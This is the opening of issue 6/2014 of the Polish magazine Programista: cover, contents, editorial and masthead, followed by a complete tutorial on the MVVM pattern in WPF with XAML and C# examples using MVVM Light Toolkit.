6
/
2014
(
25
)
www
•
programistamag
•
pl
Cena 22.90 zł (w tym VAT 8%)
Index: 285358
BUDOWA OPROGRAMOWANIA DO ANALIZY I PRZETWARZANIA TRÓJWYMIAROWYCH OBRAZÓW MEDYCZNYCH
Swift od Apple
.NET Micro Framework
Gerrit Code Review
Nowoczesny język
programowania
dla systemów iOS
oraz OS X
Programowanie
firmware dla
urządzenia STM32F4
Discovery
Jak poprawić
efektywność przy
przeglądach kodów
źródłowych
Prototyp gry sieciowej
w Unity 3D
DOMENY | E-MAIL | HOSTING | STRONY WWW
RAID) lub 2 x 4 TB HDD
(hardware RAID)
210 x 297 + 5 mm
MAPPL1406S1P_210x297+5_KB_39L300.indd 1
02.06.14 10:25
SPIS TREŚCI
/
EDYTORIAL
BIBLIOTEKI I NARZĘDZIA
Wojciech Sura, Damian Jarosch
4
Wojciech Sura
8
Kacper Cyran
12
JĘZYKI PROGRAMOWANIA
Rafał Kocisz
16
PROGRAMOWANIE GRAFIKI
Przetwarzanie geometrii przy pomocy Transform Feedback OpenGL 4.3..........................
Piotr Sydow
22
Budowa oprogramowania do analizy trójwymiarowych obrazów medycznych................
Michał Chlebiej
26
PROGRAMOWANIE GIER
Marek Sawerwain
32
Jacek Matulewski
38
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ
Wojciech Frącz
42
PROGRAMOWANIE SYSTEMÓW OSADZONYCH
.NET Micro Framework. Programowanie firmware dla urządzenia STM32F4 Discovery.....
Dawid Borycki
48
RECENZJA
Rafał Kocisz
58
WYWIAD
60
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
62
LABORATORIUM BOTTEGA
Paweł Badeński
66
STREFA CTF
Krzysztof "vnd" Katowicz-Kowalewski
70
KLUB LIDERA IT
Jak całkowicie odmienić sposób programowania, używając refaktoryzacji (część 10).....
Mariusz Sieraczkiewicz
74
KLUB DOBREJ KSIĄŻKI
Rafał Kocisz
78
Co ma sauna do startupów?
Daleko, daleko od naszego rodzimego kraju, za jednym morzem i zapewne parunastoma
lasami, egzystuje sobie Espoo – miasto położone w Finlandii, nieopodal stolicy. Cóż w nim
takiego szczególnego? Na pewno duże nagromadzenie biurowców należących do korporacji
dobrze znanych dla większości Polaków, ale ten tekst skupi się wyłącznie na jednej saunie.
Sauna ta jest o tyle wyjątkowa, że nie „rozgrzewa” ludzi, lecz powstające w szybkim
tempie mikroprzedsiębiorstwa. W jaki sposób? Otóż w campusie Aalto University stoi duży
murowany budynek podpisany „Startup Sauna”, otwarty dla wszystkich w dni robocze od
8:00 do 17:00.
W środku znajduje się duża hala z tak zwanym „open space” – każdy może po pro-
stu przyjść, zająć wolny segment biurowy i pracować wraz ze swoją drużyną. Organiza-
cja w żaden sposób nie wymaga rejestracji i nie nakłada na użytkowników żadnych opłat.
Koszty związane z utrzymaniem budynku pokrywają wspólnie uniwersytet i fińska agencja
rządowa Tekes. Co ciekawe, była to całkowicie oddolna inicjatywa studentów.
To w Finlandii. A w Polsce? Może wystarczy tylko spróbować? ;)
Magazyn Programista istnieje również dzięki Tobie, drogi czytelniku. Cały czas jeste-
śmy ciekawi Twojej opinii:
http://fb.me/ProgramistaMagazyn
Z poważaniem, Redakcja
Wydawca/ Redaktor naczelny:
Anna Adamczyk
annaadamczyk@programistamag.pl
Redaktor prowadzący:
Łukasz Łopuszański
lukaszlopuszanski@programistamag.pl
Korekta:
Tomasz Łopuszański
Kierownik produkcji:
Krzysztof Kopciowski
bok@keylight.com.pl
DTP:
Krzysztof Kopciowski
Dział reklamy:
reklama@programistamag.pl
tel. +48 663 220 102
tel. +48 604 312 716
Prenumerata:
prenumerata@programistamag.pl
Współpraca:
Michał Bartyzel
Mariusz Sieraczkiewicz
Michał Leszczyński
Marek Sawerwain
Łukasz Mazur
Rafał Kułaga
Sławomir Sobótka
Michał Mac
Gynvael Coldwind
Bartosz Chrabski
Adres wydawcy:
Dereniowa 4/47
02-776 Warszawa
Druk:
Drukarnia Kontakt
ul. Gospodarcza 5a
05-092 Łomianki
Nakład: 5000 egz.
Redakcja zastrzega sobie prawo do skrótów i opracowań
tekstów oraz do zmiany planów wydawniczych, tj. zmian
w zapowiadanych tematach artykułów i terminach
publikacji, a także nakładzie i objętości czasopisma.
O ile nie zaznaczono inaczej, wszelkie prawa do
materiałów i znaków towarowych/firmowych
zamieszczanych na łamach magazynu Programista są
zastrzeżone. Kopiowanie i rozpowszechnianie ich bez
zezwolenia jest Zabronione.
Redakcja magazynu Programista nie ponosi
odpowiedzialności za szkody bezpośrednie i pośrednie,
jak również za inne straty i wydatki poniesione
w związku z wykorzystaniem informacji prezentowanych
na łamach magazy nu Programista.
Magazyn Programista wydawany jest
przez Dom Wydawniczy Anna Adamczyk
Zamów prenumeratę magazynu Programista
przez formularz na stronie:
http://programistamag.pl/typy-prenumeraty/
lub zrealizuj ją na podstawie faktury Pro-
forma. W spawie faktur Pro-Forma prosimy
kontktować się z nami drogą mailową:
redakcja@programistamag.pl
.
Prenumerata realizowana jest także
przez RUCH S.A. Zamówienia można
składać bezpośrednio na stronie:
www.prenumerata.ruch.com.pl
Pytania prosimy kierować na adres e-mail:
prenumerata@ruch.com.pl
lub kontaktując
się telefonicznie z numerem: 801 800 803
lub 22 717 59 59, godz.: 7:00 – 18:00 (koszt
połączenia wg taryfy operatora).
4
/ 6
. 2014 . (25) /
BIBLIOTEKI I NARZĘDZIA
Wojciech Sura, Damian Jarosch
WZORZEC?
Każdy, kto z programowaniem ma już trochę do czynienia, wie o istnieniu
czegoś takiego, jak wzorce projektowe. Wzorzec projektowy nie jest gotową
biblioteką czy listą instrukcji mówiących o tym, w jaki sposób krok po kroku
zaimplementować fragment kodu źródłowego. Jest on raczej zbiorem wska-
zówek, które znajdują zastosowanie w określonej klasie problemów. „Jeżeli
masz pewien specyficzny problem”, mówi taki wzorzec, „mam pewien spraw-
dzony pomysł na to, w jaki sposób możesz podejść do jego rozwiązania”.
Wśród wzorców możemy wyróżnić kilka rodzajów, pomiędzy którymi
znajdują się wzorce strukturalne, behawioralne i architektoniczne. Pierwsze
z nich mówią o tym, w jaki sposób wiązać ze sobą zależne od siebie struktury
danych. Wzorce behawioralne pomagają zaprojektować interakcję pomiędzy
różnymi elementami systemu informatycznego. Ostatnie zaś – architektonicz-
ne – mówią o tym, jak projektować architekturę samej aplikacji. MVVM należy
właśnie do trzeciej kategorii wzorców.
Współcześnie bardzo rzadko pisze się programy całkowicie od zera – prze-
ważnie korzystamy z jakiegoś frameworka, który dostarcza nam pewien zbiór
gotowych rozwiązań, na przykład do wyświetlenia interface'u użytkownika,
współpracy z systemem operacyjnym i tak dalej. Duża część z nich – być może
nawet przeważająca większość - jest neutralna na poziomie architektury apli-
kacji. Chcę przez to powiedzieć, że taki „neutralny” framework pozostawia
programiście całkowitą dowolność w zakresie wyboru wzorca architektonicz-
nego (lub zrezygnowania z takowego i zaprojektowania architektury aplikacji
od zera).
WPF w tym kontekście różni się nieco od innych frameworków. Z jednej
strony nie narzuca on bezpośrednio konkretnego wzorca architektonicznego,
jak na przykład ASP.NET MVC: nic nie stoi na przeszkodzie, by w aplikacji WPF
postawić na formatce przycisk, ustawić mu handler zdarzenia Click i oprogra-
mować w nim logikę aplikacji (co oczywiście samo w sobie jest dosyć marnym
pomysłem). Z drugiej strony jednak WPF bardzo wyraźnie faworyzuje MVVM:
zawiera bowiem szereg mechanizmów, które zostały przygotowane specjal-
nie pod ten właśnie wzorzec. I jeśli mu się nie podporządkujemy od początku,
w pewnym momencie okaże się, że zaimplementowanie niektórych skądinąd
prostych rozwiązań będzie bardzo trudne do zrealizowania.
HISTORIA
W 2004 roku Martin Fowler – specjalista z zakresu architektury oprogramowa-
nia i analizy obiektowej – opublikował na swoim blogu artykuł o wzorcu, który
nazwał Presentation Model (PM). Martin pisze na swoim blogu:
GUI składają się zwykle z widgetów, które wyświetlają stan pojedynczego
ekranu GUI. Jednak pozostawianie tego stanu w widgetach powoduje, że trudniej
jest go w danym momencie pobrać, gdyż wiąże się to z manipulowaniem API tych
widgetów, a ponadto zachęca do implementowania logiki prezentacji w klasie
widoku.
Aby zapobiec takim sytuacjom, Martin zaproponował wprowadzenie po-
działu architektury aplikacji na trzy części: przechowujący wyświetlane dane
model, widok, którego zadaniem jest prezentacja tych danych (widokiem jest
na przykład okno), oraz Presentation Model, który pobiera dane z modelu,
przygotowuje je do wyświetlenia, a następnie przekazuje widokowi.
Skrót MVVM ujrzał światło dzienne niedługo później. W 2005 roku John
Grossman, będący obecnie jednym z architektów WPF i Silverlighta opubliko-
wał na blogu wpis o wzorcu Model-View-ViewModel. Wzorzec ów u podstaw
był bardzo podobny do pomysłu Martina Fowlera: oba opierają się o dostar-
czenie klasy będącej abstrakcją widoku, przechowującej jego aktualny stan
oraz zawierającej odpowiednią logikę. Różnica polega jednak na tym, że o ile
Presentation Model jest wzorcem uogólnionym – można go zastosować w
dowolnym programie, niezależnie od języka czy platformy – to MVVM został
przygotowany specjalnie dla WPFa: zakłada on bowiem jawnie korzystanie z
niektórych elementów tego frameworka.
ZASADA TRÓJPODZIAŁU
MVVM zakłada podział architektury aplikacji na trzy części.
Pierwszą z nich jest model, którego zadaniem jest tylko i wyłącznie prze-
chowywanie prezentowanych później użytkownikowi danych. Modelem
może być więc na przykład lista, słownik albo nawet zwykła, bardziej lub
mniej skomplikowana klasa przygotowana przez programistę.
Podczas projektowania modelu należy mieć na uwadze, iż jest on jedynie
kontenerem. Jeśli więc znajdzie się w nim jakakolwiek logika, powinna ona
dotyczyć tylko i wyłącznie przechowywania danych: na przykład metody za-
pewniające spójność danych, albo zapisujące lub odczytujące te dane z dys-
ku. W myśl wzorca MVVM model nie powinien zawierać żadnej logiki, która
przechowywane dane w jakikolwiek sposób przetwarza.
Drugim elementem jest widok. Ten z kolei odpowiedzialny jest za zapre-
zentowanie danych użytkownikowi. Widokiem może być więc na przykład
okno wraz z zestawem odpowiednich kontrolek.
Pozostał nam jeszcze ostatni fragment układanki – viewmodel. Nazwa,
choć może mało finezyjna, tłumaczy jednak doskonale, jakie jest jego zada-
nie: wiąże on model z widokiem, dostarczając temu ostatniemu danych z mo-
delu w postaci, która będzie mogła zostać zaprezentowana użytkownikowi.
MVVM zakłada bardzo ścisłe zasady enkapsulacji pomiędzy tymi trzema
warstwami.
Model nie jest świadom istnienia żadnego z pozostałych elementów. Jego
zadaniem jest tylko przechowywanie danych i do tego się ogranicza.
Podstawy WPF, część 4 – MVVM
Windows Presentation Foundation wynosi projektowanie interface'u użytkownika
na zupełnie nowy poziom. Dzieje się tak w dużej mierze za przyczyną języka XAML,
który bez żadnych dodatkowych bibliotek czy rozszerzeń pozwala na opisanie wy-
glądu okien i stron, przygotowanie tematów graficznych dla aplikacji, wprowadze-
nie animacji, stylowanie elementów wyświetlanych w listach, czy wręcz zaprojek-
towanie własnych kontrolek praktycznie od zera. A to wszystko deklaratywnie, bez
napisania pojedynczej linijki kodu. Kiedy jednak mamy już przygotowany interface
użytkownika, trzeba zakasać rękawy i zacząć go oprogramowywać. W tej części
podstaw WPFa chcemy więc opowiedzieć o wzorcu, który jest w tym frameworku
promowany w szczególny sposób: o MVVMie.
5
/ www.programistamag.pl /
PODSTAWY WPF, CZĘŚĆ 4 – MVVM
Viewmodel jest świadomy istnienia modelu, który może zostać mu prze-
kazany bezpośrednio lub poprzez pewien interface. Przygotowanie abstrakcji
modelu daje tę korzyść, że można go w dowolnym momencie wymienić na
zupełnie inną klasę, a viewmodel wciąż poradzi sobie z pobraniem z niego
danych.
Nieco inaczej jest ze współpracą viewmodelu z widokiem – choć ten
pierwszy wyprowadza dane w sposób łatwy do skonsumowania przez wi-
dok, na tym kończy się jego rola – nie współpracuje z widokiem w sposób
bezpośredni.
Viewmodel spełnia też jeszcze jedną istotną rolę: przetwarza lub zleca in-
nym klasom przetwarzanie danych. Jest on więc miejscem, w którym znajduje
się logika danego fragmentu aplikacji.
Wreszcie widok – przeważnie jest nim okno (Window) lub strona (Page)
zaprojektowana w XAMLu, która wykorzystuje mechanizm bindingów, by po-
brać dane z viewmodelu i zaprezentować je w kontrolkach. Widok nigdy nie
przetwarza danych. Gdy zajdzie potrzeba ich modyfikacji (na przykład użyt-
kownik zadecyduje o dodaniu, usunięciu lub edycji elementu), widok ograni-
cza się tylko do poinformowania viewmodelu o zaistniałej sytuacji, i jego rola
na tym się kończy.
PLUSY I MINUSY
MVVM wyróżnia się pewną szczególną cechą. Mówi się o nim, że o ile trudne
rzeczy robi się w nim łatwo, to z łatwymi jest dokładnie na odwrót – robi się je
stosunkowo trudno. Jest tak dlatego, że niezależnie od klasy problemu MVVM
wymusza implementację trzech wymienionych wcześniej warstw: modelu,
viewmodelu i widoku. Jeśli aplikacja jest nieskomplikowana, spowoduje to
niepotrzebnie duży narzut kodu źródłowego.
Wzorzec ten ma jednak dużo zalet, których nie sposób przeoczyć. Po
pierwsze, wszystkie trzy warstwy można bardzo łatwo wymieniać. Istnieje
potrzeba przekazania innego modelu? Żaden problem – wystarczy tylko, że
będzie on implementował odpowiedni interface. Chcemy wyświetlić dane
w inny sposób? Nic trudnego – wystarczy tylko przygotować nowy widok,
który będzie umiał współpracować z viewmodelem. Tego ostatniego wymie-
nia się rzadko, ale gdyby zaszła taka potrzeba, i to można stosunkowo łatwo
zrealizować.
Z prostoty wymiany warstw wynika jeszcze jedna istotna zaleta: aplikacje
napisane zgodnie ze wzorcem MVVM można bardzo łatwo testować jednost-
kowo. Zauważmy bowiem, że viewmodel nie jest powiązany w żaden sposób
z widokiem – on dostarcza mu tylko dane do wyświetlenia. Wystarczy więc
dostarczyć viewmodelowi spreparowany model, zamiast widoku - odpowied-
ni mock i już możemy pisać testy.
Separacja warstwy logiki i prezentacji umożliwia też uniezależnienie pracy
nad interface użytkownika i logiką aplikacji. Wystarczy bowiem, że programi-
sta dogada się z projektantem co do interface'u viewmodelu i od tego mo-
mentu obaj mogą pracować całkowicie niezależnie.
TO NIE WZORZEC, TO STYL ŻYCIA
No, może nie tyle styl życia, co bardziej sposób myślenia. MVVM wyma-
ga bowiem od programisty zmiany podejścia do implementacji pewnych
rozwiązań.
Popatrzmy na prosty przykład: viewmodel podczas realizacji zleconych
mu przez użytkownika zadań dochodzi do momentu, w którym musi zapytać
o coś użytkownika przy pomocy okna dialogowego. Nic prostszego, wystar-
czy wywołać metodę
MessageBox.Show, prawda?
Niestety – jeśli zdecydowaliśmy się na MVVM, takie działanie będzie stano-
wiło złamanie zasad wzorca. Dzieje się tak dlatego, że do viewmodelu wpro-
wadziliśmy w tan sposób fragment pewnego specyficznego widoku. Gdyby-
śmy teraz chcieli przenieść aplikację na przykład do środowiska mobilnego, to
będziemy mieli kłopot, ponieważ pytania zadawane są tam użytkownikowi w
inny sposób. Sama wymiana widoku wówczas nie wystarczy – trzeba będzie
przepisać viewmodel, a właśnie przed tym chce nas uchronić MVVM.
Problem ten – w innych modelach właściwie nie występujący – można
rozwiązać w kilku krokach:
1. Wyprowadzić w widoku metodę, która wyświetli komunikat (w aplikacji
desktopowej wywoła po prostu
MessageBox.Show)
2. Metodę tę opublikować poprzez interface
3. Interface ten przekazać viewmodelowi
Teraz w każdej chwili, gdy viewmodelowi zachce się powiadomić o czymś
użytkownika, skorzysta z interface'u (abstrakcji widoku), któremu zleci zreali-
zowanie tego zadania. MVVM nie zostanie tu złamany, ponieważ viewmodel
nie będzie powiązany z konkretnym widokiem. Jeśli będziemy teraz chcieli
zamienić widok na inny, wystarczy zadbać o to, aby zaimplementował odpo-
wiedni interface.
OD TEORII DO PRAKTYKI
Spróbujmy napisać teraz prostą aplikację WPF, wykorzystując opisany wcześniej
wzorzec MVVM. Aplikacja będzie służyła do sprawdzania, do jakiej sieci należy
podany przez użytkownika numer telefonu komórkowego – w tym celu program
połączy się z serwisem internetowym i za pośrednictwem prostego API pobierze
odpowiednią informację. Do tego celu użyjemy klasy
HttpWebClient, wykonu-
jąc asynchroniczne zapytanie przy pomocy async oraz await. Aplikację napiszemy
od zera, bez użycia żadnego frameworka - pozwoli nam to w pełni zrozumieć ideę
MVVM oraz poznać poszczególne elementy, które ją realizują.
Pierwszym krokiem jest dodanie do solucji nowej, pustej aplikacji WPF.
Aplikacja taka składa się z dwóch plików XAML i odpowiadających im plików
z kodem źródłowym.
Plik XAML to kod opisujący interface okna lub strony oparty na XML. W
pliku tym możemy deklaratywnie budować interface użytkownika podobnie
do tego, jak buduje się stronę WWW w plikach (X)HTML. Natomiast powiązany
z nim plik .xaml.cs jest tzw. „code behind” pliku .xaml, czyli miejscem, w któ-
rym dostarczamy kod źródłowy pracujący z zaprojektowanym interfacem. Plik
.xaml.cs jest częścią widoku.
Plik App.xaml (oraz App.xaml.cs) będzie dla nas punktem wejścia, w któ-
rym powołamy do życia klasy viewmodeli, oraz serwisów, które będą realizo-
wały funkcjonalność aplikacji.
WPF pozwala instancjonować obiekty deklaratywnie – poprzez wstawienie
ich w postaci odpowiednich znaczników do kodu XAML. Możemy wykorzystać
to do utworzenia viewmodeli w pliku App.xaml. Dzięki takiemu podejściu za-
pewnimy sobie Intellisense do edytora XAML oraz dostarczymy dane, które bę-
dziemy mogli zobaczyć w czasie projektowania aplikacji (design-time).
<
Application.Resources
>
<
viewmodel
:
MainWindowViewModel
x
:
Key
="MainWindowViewModel"/>
<
viewmodel
:
HistoryWindowViewModel
x
:
Key
="HistoryWindowViewModel"/>
</
Application.Resources
>
Jak odróżnić dane design-time od rzeczywistych danych, które będą używane
w czasie pracy programu? Otóż wyposażymy nasze viewmodele w dwa kon-
struktory. Jeden, bezparametrowy, zostanie użyty przez Visual Studio podczas
tworzenia edytora widoku XAML. Drugi zaś, z dodatkowymi parametrami,
wykorzystamy w trakcie pracy naszej aplikacji. Nadpisanie
Application.
Resources następuje w pliku App.xaml.cs w metodzie OnStartup:
protected override void
OnStartup(
StartupEventArgs
e)
{
base
.OnStartup(e);
var
checkPhoneHistoryService =
new
CheckPhoneHistoryService
();
var
checkPhoneService =
new
CheckPhoneService
(checkPhoneHistoryService);
Resources[
"MainWindowViewModel"
] =
new
MainWindowViewModel
(checkPhoneService,checkPhoneHistoryService);
Resources[
"HistoryWindowViewModel"
] =
new
HistoryWindowViewModel
(checkPhoneHistoryService);
}
6
/ 6
. 2014 . (25) /
BIBLIOTEKI I NARZĘDZIA
Nasza aplikacja posiada dwa widoki (będą nimi okna). Datacontextem dla
widoków będą odpowiednie viewmodele, zaś za pośrednictwem mechani-
zmu „dziedziczenia” wartości dependency properties, będą do nich miały do-
stęp również kontrolki WPF umieszczone w oknach.
Najbardziej popularnym – i również najwygodniejszym – sposobem prze-
kazywania danych z viewmodelu do widoku jest wiązanie właściwości. Na
przykład właściwość
Text kontrolki TextBlock lub TextBox można przywią-
zać do pewnej własności viewmodelu. Ponieważ jednak viewmodel rzadko
kiedy zawiera dependency properties, trzeba zastosować inne rozwiązanie,
które pozwoli na prawidłowe przekazywanie informacji o zmianach wartości
własności. W tym celu implementujemy w viewmodelu interface
INoti-
fyPropertyChanged, a każdą zmianę wartości ręcznie raportujemy należą-
cym do tego interface'u zdarzeniem
PropertyChanged.
Jedną z kluczowych zmian w stosunku do klasycznego modelu progra-
mowania jest to, że logiki aplikacji nie wiążemy z interface użytkownika przy
pomocy zdarzeń – staramy się zminimalizować ilość kodu znajdującego się
w code-behind widoków. Zamiast zdarzeń korzystamy natomiast z mechani-
zmu komend (Commands). Wśród innych ma to też tę dodatkową zaletę, że
w łatwy sposób możemy poinformować widok, czy komenda w określonych
okolicznościach może zostać wykonana, czy nie. Ponadto wywoływanym ko-
mendom można też z widoku przekazać dodatkowy parametr.
Za obsługę komend odpowiedzialne są klasy implementujące interface
ICommand, który posiada dwie metody. Pierwsza odpowiedzialna jest za wy-
konanie akcji, zaś druga zwraca wartość
true lub false w zależności od tego
czy dana akcja może, czy też nie może zostać wykonana.
<
Button
Content
="Sprawdź"
Command
="{
Binding
CheckNumberCommand
}"></
Button
>
Aby móc skorzystać z intefejsu ICommand, należy ręcznie zaimplemen-
tować go w odpowiedniej klasie, a później utworzyć jej instancję. Do-
brym miejscem na utworzenie instancji klas komend jest konstruktor klasy
MainWindowsViewModel.
Podczas instancjonowania klas reprezentujących komendy przekazujemy
do nich akcje (metody) odpowiedzialne za faktyczne wykonanie komendy
oraz za sprawdzenie, czy w danym momecie możliwe jest jej wykonanie. Jak
widzimy, w samej klasie implementującej
ICommand nie posiadamy żadnej
logiki, a jedynie wykonujemy akcję, którą przekaże nam Viewmodel.
Przykładowo, po powiązaniu własności
Command przycisku „Sprawdź” z
odpowiednią komendą udostępnioną przez viewmodel, przycisk ów będzie
dostępny tylko wtedy, gdy aplikacja nie będzie zajęta sprawdzaniem po-
przedniego wywołania, oraz gdy podany przez użytkownika numer będzie
prawidłowy (czyli będzie składał się z dziewięciu cyfr).
Analogicznie postąpimy w przypadku przycisku pokazującego historię.
Przycisk nie będzie dostępny, jeśli historia jest pusta.
private bool
CanShowHistory()
{
return
_checkPhoneHistoryService.History.Count > 0;
}
private void
ShowHistory()
{
_navigationService.NavigateToHistory();
}
Drugim aspektem, w którym wyraźnie widać zastosowanie wzorca MVVM,
jest wyświetlanie okien dialogowych. Zastosowaliśmy tutaj sposób opisany
na początku artykułu: widok implementuje funkcjonalność, która pozwoli na
wyświetlanie takich okien, ale to viewmodel będzie decydował o tym, kiedy
okno dialogowe ma się pojawić. Podejście to gwarantuje nam odseparowanie
części odpowiedzialnej za faktyczne wyświetlanie okien od logiki aplikacji. W
podobny sposób zaimplementujemy nawigację do okna z historią. Również
i tu pojawia się abstrakcja w postaci interfejsu umożliwiającego nawigację.
Dużą zaletą takiego rozwiązania jest łatwość zmiany sposobu zachowania
się aplikacji: jest tak dlatego, że zarówno widok, jak i viewmodel w żaden spo-
sób nie determinują sposobu nawigacji ani też wyglądu okna dialogowego.
Równie dobrze zamiast klasy
MessageBox możemy zastosować np. zwykłe
okno z własnym szablonem czy stylem.
Jak widzimy, całkiem niewielkim nakładem pracy osiągnęliśmy dość dużą
funkcjonalność, którą w łatwy sposób możemy później testować.
MVVM LIGHT TOOLKIT
Na podstawie poprzedniego przykładu łatwo zauważyć, że istnieją pewne ty-
powe scenariusze, dla których istnieją równie typowe rozwiązania. Aby nie mar-
nować czasu i energii na powielanie takich schematów, z pomocą przychodzą
nam wszelkiego rodzaju frameworki czy też toolkity realizujące wzorzec MVVM.
Do najbardziej znanych należą:
» MVVM Light Toolkit, którego autorem jest Laurent Bugnion. Zawiera on
zestaw klas bazowych, snippetów oraz szablonów projektów. Bardzo lekki
framework, dający pełną kontrolę nad kodem.
» Caliburn Micro – rozbudowany framework MVVM posiadający wiele go-
towych mechanizmów. Bardzo łatwy i intuicyjny za sprawą podejścia „co-
nvention over configuration”
» MVVMCross – stosunkowo młody framework wspomagający tworzenie
aplikacji MVVM dla urządzeń mobilnych oraz aplikacji desktopowych.
Jego główną zaletą jest w pełni przenoszalny kod viemodelu pomiędzy
różnymi platformami.
DA SIĘ SZYBCIEJ?
Spróbujmy teraz ponownie zaimplementować nasz przykładowy program zgod-
nie ze wzorcem MVVM, ale tym razem przy użyciu MVVM Light Toolkit. Po zainsta-
lowaniu tego toolkita w zestawie szablonów dla projektów Windows pojawią się
nowe pozycje. Jeśli utworzymy projekt przy pomocy jednego z tych szablonów,
otrzymamy gotowy szkielet aplikacji implementującej wzorzec MVVM.
Pierwszym elementem, na który powinniśmy zwrócić uwagę, jest plik View-
ModelLocator.cs. Następuje tam bowiem zarejestrowanie w kontenerze zależno-
ści wszystkich klas viewmodelu oraz wykorzystywanych w nich klas serwisów.
Kontener zależności (IoC container) to mechanizm pozwalający rejestro-
wać interface'y oraz klasy, które je implementują. Daje to nam możliwość po-
bierania instancji klas wprost z kontenera na podstawie zadanego interface'u.
Kontener sam zajmuje się ich instancjonowaniem oraz dba o rozwiązanie
zależności. Spójrzmy na poniższy kod. Na początku rejestrujemy wszystkie
serwisy metodą generyczną Register. Polega to na „mapowaniu” interfejsów
na implementujące je klasy. Następnie w taki sam sposób rejestrujemy klasy
viewmodeli. Jednak w tym przypadku klasy te posiadają pewne zależności:
poprzez parametry konstruktorów przekazywane są potrzebne do prawidło-
wego działania serwisy. Ponieważ wcześniej zarejestrowaliśmy je w kontene-
rze, podczas pobierania naszego viewmodelu, kontener będzie „wiedział”, co
dokładnie powinien przekazać do konstruktorów viewmodeli.
Oprócz łatwego zarządzania zależnościami użycie kontenera IoC oraz
praca na interfejsach daje nam wiele korzyści podczas pisania testów jed-
nostkowych. Zamiast przekazywać pełną implementację serwisów, możemy
utworzyć mocki, czyli uproszczone klasy symulujące pożądane działanie wy-
magane przez scenariusz testu.
static
ViewModelLocator()
{
ServiceLocator
.SetLocatorProvider(() =>
SimpleIoc
.Default);
if
(
ViewModelBase
.IsInDesignModeStatic)
{
SimpleIoc
.Default.Register<
ICheckPhoneHistoryService
, Design.
DesignCheckPhoneHistoryService
>();
}
else
{
SimpleIoc
.Default.Register<
ICheckPhoneHistoryService
,
CheckPhoneHistoryService
>();
}
SimpleIoc
.Default.Register<
ICheckPhoneService
,
CheckPhoneService
>();
}
7
/ www.programistamag.pl /
PODSTAWY WPF, CZĘŚĆ 4 – MVVM
Takie rozwiązanie zapewni nam łatwe zarządzanie zależnościami: jeśli na
przykład zdecydujemy się na użycie jakiegoś serwisu w naszym viewmodelu, wy-
starczy, że przekażemy go jako interface przez parametr konstruktora oraz wcze-
śniej zarejestrujemy odpowiednią klasę w kontenerze zależności. Framework sam
zadba o to, aby przy tworzeniu instancji klasy ViewModel „wstrzyknąć” odpowied-
nie zależności. Warto zauważyć, że metoda
Register rejestrująca klasę posiada
dodatkowy parametr
createInstanceImmediately, który umożliwia natych-
miastowe utworzenie instancji klasy zaraz po jej zarejestrowaniu.
Oprócz tego otrzymujemy również łatwą możliwość sprawdzenia, czy ak-
tualnie jesteśmy w trybie „design” – czyli czy nasza aplikacja wyświetlana jest
w Visual Studio lub Blendzie. Jeśli tak jest, to możemy zarejestrować zupełnie
inny zestaw serwisów – dostarczając tym samym przykładowe dane pomocne
przy procesie tworzenia szablonów.
Drugim ważnym elementem są same klasy viewmodeli. Dziedziczą one po
klasie
ViewModelBase, co zapewnia nam kilka usprawnień, pomagających w
implementacji wzorca MVVM. Oprócz obowiązkowej implementacji interface'u
INotifyPropertyChanged otrzymujemy na przykład właściwość Messen-
gerInstance, która umożliwia komunikację pomiędzy klasami viewmodeli.
Dodatkowo, oprócz wspomnianej klasy bazowej
ViewModelBase, dosta-
jemy też gotowe klasy implementującą interface
ICommand: RelayCommand
oraz
RelayCommand<T>.
TESTOWANIE
Korzystanie ze wzorca MVVM znacząco ułatwia tworzenie testów jednostko-
wych. Dzięki temu, że viewmodel nie jest zależny od UI, jego testowanie staje
się stosunkowo proste.
Po utworzeniu projektu testowego należy dodać referencję do assembly,
który przechowuje viewmodele. Przeważnie trzyma się je w osobnej biblio-
tece, jednak w naszym przypadku, dla zachowania prostoty implementacji,
zestawem tym jest aplikacja.
Na początek musimy zadbać o to, aby wszystkie potrzebne obiekty serwiso-
we zostały dostarczone w postaci mocków; w projekcie wykorzystującym MVVM
Light Toolkit wszystkie zależności przekazujemy przez parametry konstruktora.
Testowanie komend sprowadza się do przetestowania metod
Executed
oraz
CanExecute. W pierwszym przypadku sprawdzamy, czy serwis odpo-
wiedzialny za przetworzenie danych zwrócił odpowiedni obiekt. Dzięki temu,
że komunikaty wyświetlane są z wnętrza viewmodelu przy pomocy przekaza-
nego mu wcześniej interface'u, możemy nawet sprawdzić, czy w określonych
okolicznościach wyświetlone zostało właściwe okno dialogowe.
Przetestowanie
CanExecuted sprowadza się do sprawdzenia spodziewa-
nego rezultatu na podstawie danego scenariusza testowego.
CO JESZCZE?
MVVM Light Toolkit – jak sama nazwa wskazuje - jest stosunkowo lekkim to-
olkitem. Oprócz wymienionych pomocnych elementów posiada on również
wsparcie dla języka XAML w postaci obiektu o nazwie
EventToCommand.
Jeśli kontrolka posiada zdarzenie, które chcielibyśmy obsłużyć w viewmode-
lu, jako własność
Command wystaczy ustawić wspomniany wcześniej obiekt
(zwany też behaviorem).
Pozostałe elementy, które otrzymujemy wraz z toolkitem:
» Obsługa powiadomień: mechanizm zaimplementowany w postaci odpo-
wiednich klas, służący do komunikacji pomiędzy viewmodelami.
» DispatcherHelper – statyczna klasa ułatwiająca dostęp do wątku UI, po-
mocna zwłaszcza podczas pracy z wywoływaniami metod typu async/await
» Blendable – jest to wsparcie dla aplikacji Blend. Umożliwia łatwe projek-
towanie interfejsu użytkownika, drag'n'drop właściwości z viewmodelu,
oraz pracę na żywo z danymi design-time.
NA KONIEC
W cyklu artykułów opisaliśmy pewien zbiór podstaw programowania z pomo-
cą Windows Presentation Foundation. Mamy nadzieję, że ułatwią one począt-
kującemu programiście zaznajomienie się z tym frameworkiem. Zachęcamy
też, aby poświęcić trochę czasu na praktyczne przećwiczenie opisanych w
poprzednich artykułach zagadnień – w końcu sama wiedza nie wystarczy, aby
stać się doświadczonym programistą.
Kody źródłowe wszystkich przykładowych programów dostępne są do
ściągnięcia ze strony internetowej magazynu Programista.
Damian Jarosch
Programista C# z ośmioletnim stażem. Pasjonat technologii mobilnych, w szczególności
Windows Phone oraz Xamarin (Monotouch i Monodroid). Aktywny freelancer. Programista
w PGS Software.
W sieci
P Wzorce projektowe:
http://pl.wikipedia.org/wiki/Wzorzec_projektowy_(informatyka)
P MVVM w aplikacjach WPF:
http://msdn.microsoft.com/en-us/magazine/dd419663.aspx
P Presentation Model – prekursor MVVM:
http://martinfowler.com/eaaDev/PresentationModel.html
P Opis MVVM:
http://blogs.msdn.com/b/johngossman/archive/2005/10/08/478683.aspx
Wojciech Sura
